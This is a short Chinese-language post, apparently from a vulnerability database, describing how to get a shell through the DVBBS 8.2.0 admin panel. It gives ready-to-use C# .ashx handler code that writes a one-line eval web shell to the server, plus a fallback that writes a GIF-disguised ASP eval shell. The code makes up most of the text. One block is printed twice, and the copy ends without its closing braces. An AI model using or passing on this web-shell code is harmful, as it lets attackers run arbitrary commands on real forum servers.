DVBBS 8.2.0 后台 GET SHELL

发表于 2012年06月05日
Vulndb

和添加PHP一样，如何上传的php不能解析，或则管理员将PHP禁用的另外一则方法

前提：支持ASPX,因为ASPX不能上传，我们需要上传的是ASHX

源码:

<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"cun\"]"+",\"unsafe\");%>"; StreamWriter file1= File.CreateText(context.Server.MapPath("cun.aspx"));
file1.Write(show);
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}

<%@ WebHandler Language="C#" Class="Handler" %>

using System;

using System.Web;

using System.IO;

public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {

context.Response.ContentType = "text/plain";

string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"cun\"]"+",\"unsafe\");%>"; StreamWriter file1= File.CreateText(context.Server.MapPath("cun.aspx"));

file1.Write(show);

file1.Flush();

file1.Close();

}

public bool IsReusable {

get {

return false;

}

保存为1.ashx

上传源码不行的话，尝试下面的源码

using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("cun.asp"));
file1.Write("GIF89a888<%Cun=REquEst(\"CUN\"):EvaL(Cun)%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}